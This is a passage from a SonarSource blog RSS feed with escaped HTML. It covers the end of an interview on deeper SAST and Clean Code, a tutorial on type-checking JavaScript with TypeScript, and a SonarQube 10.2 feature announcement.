once in a while when you combine your code in a unique combination with a piece of code of a dependency, it can create a critical security vulnerability and that is exactly what we can detect now with deeper SAST. &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Defining Clean Code &lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;CHUCK&lt;/strong&gt;: Now let&amp;#x27;s define Clean Code. I think that definition may have changed over the years, that&amp;#x27;s what it sounds like to me. Remember how we used to say “this is in real time” and 10 years ago, real-time meant a day. And now, real-time is closer to real-time. Does Clean Code mean something different than it did 10 years ago?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER&lt;/strong&gt;: I don&amp;#x27;t think it does but I think we have now come up with a much better definition. So, the way we define Clean Code is really code that is consistent. Which is, if you want a team to look after the code, you have to have consistency in terms of style but also in terms of how do we solve certain problems, about code constructions. So the whole code should be consistent. The second thing is the code should be intentional which means any logical error, anything that is not being used, any information, any user input that is not sanitized, any resource that is not released after being used, is not considered as being intentional and should be fixed. But we also need the code to be adaptable. Which is we need the code to be changeable, basically. Which is, if you, if we can not change the code anymore, we cannot consider that we are writing software anymore. It is something else but you cannot call it soft. So, we need to make sure that the code keeps the flexibility, to be changed. And finally, the code should be responsible which means we shouldn&amp;#x27;t steal code to build software, we should not hard code passwords, etc., so there are a whole set of things that need to be looked after to keep the code responsible. And this is how we define Clean Code which is consistent, intentional, adaptable, and responsible. &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Deeper SAST - a Part of Achieving Clean Code&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;CHUCK&lt;/strong&gt;: So I come from a physical security environment, that&amp;#x27;s where I started. I was a police officer and worked at the studios and I had my first computer in 1984, maybe even before both of you guys were born, possibly. So, I see this progression of cybersecurity as coming from, here’s the internet with basically no passwords, to now we have all these security issues, right? I&amp;#x27;ve always thought of it as basically, as a state of cyber hygiene. We should do better at that and I&amp;#x27;m looking at what you do as a state of cyber hygiene, keeping Code Clean. That’s kind of how I picture it in my head if that makes sense. So, how does deeper SAST, how does it support organizations in achieving this state of Clean Code? And it is a state, right? It’s like a state of readiness. You always have to be prepared to have something launched into your application or your time to market, and if it&amp;#x27;s not clean and you&amp;#x27;re not ready to go, you&amp;#x27;re not ready. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;JOHANNES&lt;/strong&gt;: I think deeper SAST is one part of what it needs to have Clean Code, right? So, in the end, we want to find all kinds of issues that make your code unclean you could say, and security is one important part. We find all kinds of code causes. But the consequence for security issues is dramatic sometimes for organizations, right? And so what Olivier mentioned is the intentional part, this is really where, if you use code pieces of dependencies, you should be very intentional about what you are doing. And often the developer doesn&amp;#x27;t have time to really figure out what every piece of code from a dependency is doing, so we make sure it is intentionally used and securely used to achieve a state of Clean Code in your codebase.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;CHUCK&lt;/strong&gt;: Now, you said something interesting to me — there&amp;#x27;s other issues with the code. You know, could be a programming error or something. Do you find that most of the issues are a combination of regular programming errors and a lack of secure coding? Do they lean one side or the other? &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;JOHANNES&lt;/strong&gt;: I think they can be all very interconnected and that&amp;#x27;s why we also believe Clean Code is so important. If you look at what Olivier just mentioned, let’s say consistent or adaptable code, you cannot really fix your security problems. What we keep on talking about here in the security industry, you cannot continue fixing your problems if you have unmaintainable code for example. Or another example is, if you have buggy code then it can lead to crashes, but those crashes can also lead to security problems and that’s why we believe that all those different pillars of Clean Code are very interconnected and very important to address collectively, so you don&amp;#x27;t have security problems. &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Sonar’s Differentiation &lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;CHUCK&lt;/strong&gt;: Now, I got to say fellas, I&amp;#x27;ve done a lot of shows, over 3,000 technically. Sonar sounds different to me. Am I hearing that correctly? Sounds like you do something different than most people and to me, frankly, it sounds more thorough. Is that a good way to describe it?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER&lt;/strong&gt;: We have been developing the product based on engineering needs starting from our own needs. But, also, we have a super large community. So I think one of the things that is remarkable at SonarSource is how aligned we are with our market which is, it’s not like sometimes we are a little bit early and then our community catches up, and then they drive it into a certain direction… So if it feels very authentic as a product, it&amp;#x27;s probably because of this. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER&lt;/strong&gt;: I just want to come back on one thing you said earlier, which to me is very, very right. You talked about hygiene, and I think this is really what it comes down to which is if you don&amp;#x27;t, if you don’t have a &lt;a href=&quot;https://www.sonarsource.com/resources/devops-is-insufficient-without-good-code-hygiene/&quot;&gt;good hygiene&lt;/a&gt; with your code, at the end of the day, your software is not going to be an asset. It’s going to be a liability. Because your code becomes a liability, your software is going to become a liability. So we are really trying to address this at the engineering level, which is this all, this hygiene should happen during the development phase. It shouldn&amp;#x27;t happen afterward. Afterwards, you want to really go for like, complex problems, threat modeling, etc. The security team should focus all their time, expertise, and energy onto this more complex problem. Not running analysis tools to see whether an okay job was done during the development phase, if that makes sense. &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Impact of AI on Code&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;CHUCK&lt;/strong&gt;: It does make sense. You know, and our new challenge is AI, ChatGPT. I’m not picking on ChatGPT, but let’s just use that as the example. Do you find that this advanced AI now is going to cause new challenges in your side of the industry? Is it going to help; Is it going to hinder?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER&lt;/strong&gt;: I mean, I think for SonarSource, I would say it’s a real opportunity. For the industry, I think it can be a challenge indeed. And at the end of the day, I think with AI, generative AI, what we are going to see is that more code is being written. Whether it’s because developers become more productive or whether it&amp;#x27;s because people who are not developers are able to write applications, at the end of the day, there will be more code. And that code is not going to be clean for sure. Some of it may be locally clean, but overall, this code is going to have to be reviewed and I think this is where, for us, it&amp;#x27;s a great opportunity. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;CHUCK&lt;/strong&gt;: Excellent conversation my friends. So glad you came on the show. Olivier Gaudin and Johannes Dahse, sonarsource.com at Black Hat USA 2023. Good luck to you guys and hopefully I’ll see you in person next year. Going to try and make it back in person for the show. Thanks for coming on Security Guy TV.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER&lt;/strong&gt;: Thank you.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;JOHANNES&lt;/strong&gt;: Great, thanks, Chuck.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/deeper-sast-javascript/&quot;&gt;What is deeper SAST in JavaScript?&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/deeper-sast-uncovers-hidden-security-vulnerabilities/&quot;&gt;Uncovering hidden security vulnerabilities with deeper SAST&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Get the benefits of TypeScript in your JavaScript]]></title><description><![CDATA[Let's dive into what you can do to get more and more of TypeScript's benefits in your JavaScript projects.]]></description><link>https://www.sonarsource.com/blog/benefits-typescript-in-your-javascript</link><guid isPermaLink="false">c936d103-8f4e-54fb-b595-362b0f16c1c0</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Thu, 07 Sep 2023 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When we write applications in TypeScript instead of JavaScript, it is evident that we benefit from type safety, saving us from potential bugs.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, you might have a good reason to refrain from writing your project in TypeScript. For example, migrating an existing JavaScript project might be too much effort. You can still get many of the benefits of TypeScript, though. You might not realise that the more TypeScript knows about your code, even if it&amp;#x27;s JavaScript, the better your tooling gets.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this article, we&amp;#x27;ll dive into what you can do to get more and more of TypeScript&amp;#x27;s benefits in your JavaScript projects.&lt;/p&gt;&lt;h2&gt;The benefits&lt;/h2&gt;&lt;p&gt;The main thing TypeScript can do for our JavaScript code is highlight unexpected behaviour. TypeScript infers types across a code base, meaning it can spot when you might, for example, call a string method on a number.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const a = 1;
console.log(a.toUppercase());&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This example may be trivial, but JavaScript will let you write and run that code, eventually discovering that you&amp;#x27;ve caused a runtime error. The TypeScript compiler can analyse that JavaScript, tell you that numbers don&amp;#x27;t have a function called &lt;code&gt;toUppercase&lt;/code&gt;, and help you catch the bug earlier. However, we need to do some work in our JavaScript project to benefit from this analysis.&lt;/p&gt;&lt;h3&gt;Tooling&lt;/h3&gt;&lt;p&gt;Before we make any changes to a JavaScript project, it&amp;#x27;s important to know that TypeScript is already helping your tooling understand your projects better. For example, the TypeScript language service powers &lt;a href=&quot;https://code.visualstudio.com/docs/nodejs/working-with-javascript&quot;&gt;VS Code&amp;#x27;s Intellisense for JavaScript&lt;/a&gt;, giving you better auto-complete, and, under certain circumstances, the Sonar scanner will use the TypeScript compiler to &lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/js/&quot;&gt;understand your JavaScript projects better when analysing them&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Get more out of JavaScript&lt;/h2&gt;&lt;p&gt;So, TypeScript is already helping our tooling understand JavaScript better, but what can we do to help TypeScript even more? How can we benefit from TypeScript&amp;#x27;s type inference, highlight runtime bugs, and get even more out of our tools?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There are a few approaches you can take, some at an individual level and some at a project level, where you will need to get your whole team on board.&lt;/p&gt;&lt;h3&gt;Pair program with TypeScript&lt;/h3&gt;&lt;p&gt;The easiest way to get more insight from TypeScript is to configure your editor to use TypeScript to analyse the JavaScript you are writing. The following instructions are for VS Code, which has the strongest support for TypeScript. Other editors, like &lt;a href=&quot;https://blog.jetbrains.com/webstorm/2019/09/using-typescript-to-check-your-javascript-code/&quot;&gt;WebStorm&lt;/a&gt;, need a &lt;em&gt;tsconfig.json&lt;/em&gt; file defined before they will highlight TypeScript issues in your JavaScript, and we will cover those in the following section.&lt;/p&gt;&lt;h4&gt;It just takes a comment&lt;/h4&gt;&lt;p&gt;&lt;a href=&quot;https://code.visualstudio.com/docs/nodejs/working-with-javascript#_type-checking-javascript&quot;&gt;VS Code makes this very easy&lt;/a&gt;. In any JavaScript file you are writing, add the comment &lt;code&gt;// @ts-check&lt;/code&gt; to the top, and TypeScript will analyse the contents, letting you know with red squiggly lines where things seem out of place. Here, you can see the difference in our original code snippet:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/bd98731c-8faf-4e13-92dc-fd7da101fa79/ts-check.gif&quot; /&gt;&lt;p&gt;Immediately, you can see that TypeScript has more to offer. It&amp;#x27;s just waiting for you to give it permission.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Enabling TypeScript checking via a comment is a good way to get a taste of what it offers. The drawbacks are that it only analyses files individually and only when you remember to add the comment. Also, if the rest of your team isn&amp;#x27;t currently interested in TypeScript, leaving TypeScript-specific comments in files might not go down well.&lt;/p&gt;&lt;h4&gt;Flick on the TypeScript switch&lt;/h4&gt;&lt;p&gt;VS Code also allows you to turn on TypeScript checking for all JavaScript without changing the source code. Open up the settings and search for &lt;em&gt;Check JS&lt;/em&gt;. You will find the setting &lt;em&gt;JS/TS › Implicit Project Config: Check JS&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Enable this setting for the workspace and VS Code will use TypeScript to type-check all the open files in the project. Enable the setting at the user level and VS Code will use TypeScript to check all your projects as you work on them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I recommend working with the &lt;em&gt;Check JS&lt;/em&gt; setting activated. It will teach you things about your JavaScript as you write and maintain it.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/b1d09be4-cb21-4d89-9fb3-9c68844ff616/checkjs.gif&quot; /&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/features/vs-code/&quot;&gt;SonarLint&lt;/a&gt; is another tool you can use in your editor to highlight issues in your JavaScript as you type. Using TypeScript and SonarLint alongside each other in your editor can help you &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/features/deep-education/&quot;&gt;learn as you code&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With &lt;em&gt;Check JS&lt;/em&gt; activated in your editor, you can work to reduce issues that the TypeScript compiler discovers without worrying about adding config to your application. Also, if it turns out that the TypeScript compiler raises a bunch of issues, they are only visible in your editor and won&amp;#x27;t break your build.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you and your team try using TypeScript like this and find it beneficial, you might consider taking the next step and introducing TypeScript directly into your project.&lt;/p&gt;&lt;h3&gt;Add TypeScript to your JavaScript project&lt;/h3&gt;&lt;p&gt;Introducing TypeScript to your project means that TypeScript becomes a tool that your whole team can use. You can make it part of your build and test process to ensure that the JavaScript you write satisfies TypeScript&amp;#x27;s constraints, and later, you can even start to add more types, all without changing a single file type to &lt;em&gt;.ts&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Start by installing TypeScript as a development dependency.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;npm install typescript --save-dev&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Create a &lt;em&gt;tsconfig.json&lt;/em&gt; file. I find it easiest to use the TypeScript executable to start this off. Run this command:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;npx tsc --init&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Open up the newly generated &lt;em&gt;tsconfig.json&lt;/em&gt; file. The default settings here are good when you start a new TypeScript project, but we need to change some options to handle a JavaScript project. Update your &lt;em&gt;tsconfig.json&lt;/em&gt; to this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{
  &quot;compilerOptions&quot;: {
    &quot;allowJs&quot;: true,
    &quot;checkJs&quot;: true,
    &quot;noEmit&quot;: true,
    &quot;esModuleInterop&quot;: true,
    &quot;forceConsistentCasingInFileNames&quot;: true,
    &quot;strict&quot;: false,
    &quot;skipLibCheck&quot;: true
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Important settings include &lt;code&gt;allowJS&lt;/code&gt; and &lt;code&gt;checkJS&lt;/code&gt;. When true, these permit JavaScript to be part of a TypeScript application and then apply type checking to JavaScript files. The &lt;code&gt;checkJS&lt;/code&gt; setting is the equivalent of enabling &lt;em&gt;Check JS&lt;/em&gt; in your VS Code settings.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Notably, having a &lt;em&gt;tsconfig.json&lt;/em&gt; file with these settings overrides the VS Code settings and enables TypeScript checking in other editors.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I have also included the setting &lt;code&gt;noEmit&lt;/code&gt; because, at this stage, we are not trying to compile our JavaScript; we just want to type-check it. &lt;code&gt;noEmit: true&lt;/code&gt; means that the TypeScript compiler won&amp;#x27;t try to output anything; it will just report on the JavaScript it reads.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We set &lt;code&gt;strict&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt; for now; getting JavaScript code to adhere to TypeScript&amp;#x27;s strict mode is quite difficult.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Add a script to your &lt;em&gt;package.json&lt;/em&gt; to run the type checker:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&quot;scripts&quot;: {
  &quot;type-check&quot;: &quot;tsc&quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now you can run &lt;code&gt;npm run type-check&lt;/code&gt; and see the results.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/12b2064a-7586-4eba-a1be-cfbad965c6ad/tsc.png&quot; /&gt;&lt;h4&gt;Fix missing types&lt;/h4&gt;&lt;p&gt;As you haven&amp;#x27;t been using TypeScript in this project, you will probably have some things to fix. First, if you are working with Node.js then you will need to add TypeScript types for Node.js. This is as easy as running:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;npm install @types/node --save-dev&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://definitelytyped.github.io/&quot;&gt;Definitely Typed&lt;/a&gt; is a community effort to provide types for modules that don&amp;#x27;t provide their own, and it is very comprehensive. If Definitely Typed has a type for your module, you can install it in your project from the &lt;code&gt;@types&lt;/code&gt; scope.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As an optional addition, you can add types for packages you use that don&amp;#x27;t provide types themselves from Definitely Typed. If you don&amp;#x27;t install the types, TypeScript will consider imports from packages as an &lt;code&gt;any&lt;/code&gt; type.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;any&lt;/code&gt; type is TypeScript&amp;#x27;s catch-all type. It lets the program compile but doesn&amp;#x27;t give you any further information about the objects you are using. When you add or define types for these packages, TypeScript can then help with autocomplete and highlighting potential issues. I&amp;#x27;d recommend installing the types for your dependencies as you come to work on the parts of the source code that use them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If the types provided aren&amp;#x27;t correct, &lt;a href=&quot;https://devblogs.microsoft.com/typescript/how-to-upgrade-to-typescript-without-anybody-noticing-part-2/&quot;&gt;there&amp;#x27;s a great post on Microsoft&amp;#x27;s TypeScript blog on how to fix them&lt;/a&gt;.&lt;/p&gt;&lt;h4&gt;Fix your code&lt;/h4&gt;&lt;p&gt;Next, you might find TypeScript is reporting some errors in your code. This is what we want!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Any issue raised is a potential runtime bug in your application that TypeScript has now detected. You can see these errors in your editor or when you run the &lt;code&gt;type-check&lt;/code&gt; script. Fixing these errors will improve the reliability of your application. Now TypeScript is part of your project, no further issues like this should slip through.&lt;/p&gt;&lt;h4&gt;Add to the build process&lt;/h4&gt;&lt;p&gt;Once the type-checking process returns successfully, you may want to add the check to your build process. This will ensure that your code base stays as type-safe as it can be for a JavaScript project.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;How you achieve this depends on your existing testing and build process. One option is to run the type-checking process as part of your test suite.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&quot;scripts&quot;: {
  &quot;type-check&quot;: &quot;tsc&quot;,
  &quot;test&quot;: &quot;node --test &amp;&amp; npm run type-check&quot;
}&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;TypeScript can help you write better JavaScript&lt;/h2&gt;&lt;p&gt;As we&amp;#x27;ve seen in this post, you don&amp;#x27;t have to move your project from JavaScript to TypeScript to get the benefits; you can just get the TypeScript compiler to help. Both the &lt;a href=&quot;https://github.com/webpack/webpack&quot;&gt;Webpack&lt;/a&gt; and &lt;a href=&quot;https://github.com/sveltejs/svelte&quot;&gt;Svelte&lt;/a&gt; projects organise themselves like this. Check out their source code, JavaScript files for code and TypeScript declaration files for the types.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once you&amp;#x27;ve got to this stage, you might want to make your JavaScript even more safe by adding further types. You can still achieve this without converting the project to TypeScript. Check out &lt;a href=&quot;https://www.sonarsource.com/blog/typing-javascript-without-typescript/&quot;&gt;this post on typing JavaScript with JSDoc and TypeScript declaration files&lt;/a&gt; for more.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Letting TypeScript analyse your code, either in your editor or as part of your project, gives you, and other tools like SonarLint or SonarQube, more insight into how types flow around your application. It can help you write cleaner, more intentional code and lead to more reliable applications.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Introducing SonarQube 10.2: Setting New Standards in Code Quality and Security]]></title><description><![CDATA[Discover the new features in SonarQube 10.2!]]></description><link>https://www.sonarsource.com/blog/sonarqube-10-2-new-standards-in-code-quality-and-security</link><guid isPermaLink="false">85ac6b7c-1e90-53d2-b3cd-395869b93095</guid><dc:creator><![CDATA[Bianka Banova]]></dc:creator><pubDate>Wed, 06 Sep 2023 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the ever-changing software development landscape, keeping your tools up-to-date is non-negotiable. This new release of SonarQube delivers targeted enhancements that directly impact code quality, security, and operational workflows. This post will provide a deep dive into the latest features and enhancements of SonarQube 10.2. &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Announcing  MISRA C++ 2023 Support&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;With the rising demand for more secure coding practices, particularly in mission-critical applications, SonarQube 10.2 brings in a game-changing feature: support for the new MISRA C++ 2023 rules. This update adds 43 rules, meticulously aligned with industry safety standards. These rules are not mere additions but are seamlessly integrated into our &amp;quot;Mission Critical&amp;quot; Quality Profile. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For organizations operating in regulated industries or deploying mission-critical applications, the benefits are manifold. This new support will enhance the security robustness of your codebase and build higher stakeholder confidence by achieving a comprehensive level of safety compliance.&lt;/p&gt;&lt;h2&gt;SonarQube Security Enhancements&lt;/h2&gt;&lt;h4&gt;Security Analysis Now Integrated into GitLab Dashboards&lt;/h4&gt;&lt;p&gt;SonarQube 10.2 extends its security reach into GitLab dashboards. This native visibility means that when SonarQube identifies a vulnerability, it is automatically reflected in your GitLab vulnerability report. This synchronization serves as a strategic advantage for organizations that leverage GitLab in their DevOps workflows. By providing a unified view of code health across platforms, it empowers both developers and security teams to more effectively identify, manage, and remediate security vulnerabilities. The result is an optimized workflow that significantly minimizes the time interval between code commit and deployment.&lt;/p&gt;&lt;h4&gt;Enhanced Cloud Secrets Detection&lt;/h4&gt;&lt;p&gt;To further amplify your organization&amp;#x27;s security measures, SonarQube 10.2 has expanded its cloud secrets detection feature. Now supporting 29 cloud services and capable of identifying a comprehensive range of more than 60 secrets and tokens, this addition fortifies your codebase against vulnerabilities and assists in fulfilling compliance requirements.&lt;/p&gt;&lt;h4&gt;Detect Security Misconfigurations in Microsoft Bicep-Generated ARM Templates&lt;/h4&gt;&lt;p&gt;Cloud infrastructure security is as crucial as application security. SonarQube’s ability to identify security misconfigurations in Azure Resource Manager (ARM) templates generated via Microsoft Bicep adds an extra layer of security to your Azure deployments, thereby making them more resilient against potential vulnerabilities.&lt;/p&gt;&lt;h4&gt;Advanced Support for PHP Super-Global Arrays&lt;/h4&gt;&lt;p&gt;The efficacy of code analysis in PHP development is no small matter. With this in mind, SonarQube 10.2 introduces improved support for PHP super-global arrays. This feature fine-tunes the precision of our PHP analysis algorithms, thereby reducing false negatives. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For developers, this translates into more accurate, actionable code assessments. Meanwhile, security teams gain an added layer of confidence in the integrity of the code. This accuracy eliminates the need for exhaustive manual audits, thereby accelerating the development pipeline.&lt;/p&gt;&lt;h2&gt;Streamlined Permission Synchronization from GitHub&lt;/h2&gt;&lt;p&gt;Administrative agility is integral to efficient project management. With SonarQube 10.2, you can synchronize project permissions directly from GitHub, thereby eliminating the need for manual configurations or custom automation scripts (yes, you are welcome admins!).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This streamlining significantly simplifies the process of project permission management, allowing organizations to focus more on development and less on administrative tasks.&lt;/p&gt;&lt;h2&gt;Operational Improvements&lt;/h2&gt;&lt;h4&gt;Minimizing Reindexing Disruptions Post-Upgrade&lt;/h4&gt;&lt;p&gt;Recognizing that smooth operational transitions are essential, SonarQube 10.2 introduces an upgrade feature that minimizes reindexing disruptions. This means that as soon as the SonarQube UI is available post-upgrade, developers, and administrators can continue their tasks without missing a beat. The optimized reindexing process minimizes workflow interruptions and downtime, thus maintaining organizational productivity and ensuring that deadlines are met.&lt;/p&gt;&lt;h4&gt;Enhancing Developer Efficiency and Knowledge Through Learn as You Code (LaYC)&lt;/h4&gt;&lt;p&gt;With SonarQube 10.2, we continue our commitment to improving both the efficiency and educational aspects of the software development process by introducing the Learn as You Code (LaYC) feature. Integrated within Level 1 rules, LaYC provides immediate and contextually relevant guidance when a code issue emerges. The feature directs you to a specialized &amp;#x27;How Do I Fix This&amp;#x27; section, equipped with framework-specific sample code to expedite issue resolution. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In addition to facilitating quick fixes, LaYC offers the option to explore comprehensive explanations and industry best practices. This approach not only minimizes the time spent on issue rectification but also serves as a resource for skill enhancement, thus elevating the expertise of both individual developers and development teams as a whole.&lt;/p&gt;&lt;h2&gt;Additional Innovations&lt;/h2&gt;&lt;h4&gt;Flexible Main Branch Designation&lt;/h4&gt;&lt;p&gt;Changing your project&amp;#x27;s main branch is now a seamless affair with SonarQube 10.2. This flexibility benefits teams not relying on DevOps platforms for project onboarding, as it allows administrators to effortlessly pivot the project’s focus without losing any historical data.&lt;/p&gt;&lt;h4&gt;Enhanced Synchronization between SonarLint and SonarQube&lt;/h4&gt;&lt;p&gt;SonarQube 10.2 takes code analysis a step further by enhancing synchronization features between SonarLint and SonarQube. Developers now have the power to mute issues directly within their IDE via SonarLint, thus streamlining the review process by preventing these tagged issues from reappearing in future analyses.&lt;/p&gt;&lt;h3&gt;Introducing the new Clean Code Taxonomy &lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Enhance the quality and security of your code with the integration of the new Clean Code taxonomy within SonarQube. The taxonomy consists of the Clean Code attributes which are consistent, intentional, adaptable, and responsible. When code meets the attributes, it is Clean Code, which results in the qualities that software should have to be successful.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This update aims to highlight more clearly what’s happening in your code, facilitating more decisive action for both individuals and teams.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a developer, you&amp;#x27;ll find each issue classified not only by its severity—now represented as Low, Medium, or High based on software qualities—but also by the Clean Code attributes. Please note that the old taxonomy will gradually be phased out. Processes and integrations based on the old taxonomy will not be disrupted as compatibility is preserved and will be removed at a later date.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For team leads, this enriched information becomes a powerful tool for prioritizing issues and guiding your team&amp;#x27;s efforts toward improving code quality and security. You can now evaluate issues not just on their immediate impact, but also on how they align with broader Clean Code principles.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is the first in a series of updates aimed at aligning our interface and categorizations with the new Clean Code taxonomy, offering you a more detailed and meaningful understanding of how to effectively achieve Clean Code and drive impactful software.&lt;/p&gt;&lt;h2&gt;Several Language Updates&lt;/h2&gt;&lt;p&gt;Every release of SonarQube comes with a range of language enhancements, designed to elevate your coding experience. The updates for SonarQube 10.2 not only aim to streamline your development workflow but also to fortify code quality and security across multiple programming languages. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Python:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Faster incremental analysis for Python&lt;/li&gt;&lt;li&gt;Generate stubs for known typed Python libraries available on PyPI&lt;/li&gt;&lt;li&gt;Added valuable Core Python rules&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Java/Kotlin:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Support of Gradle Kotlin DSL + 7 dedicated rules for writing well-architected and easily maintainable Java code&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;PHP&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Faster incremental analysis for PHP &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;IaC&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Improved support of Azure Resource Manager (ARM)&lt;/li&gt;&lt;li&gt;Detect security misconfiguration on Microsoft Bicep&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;.NET 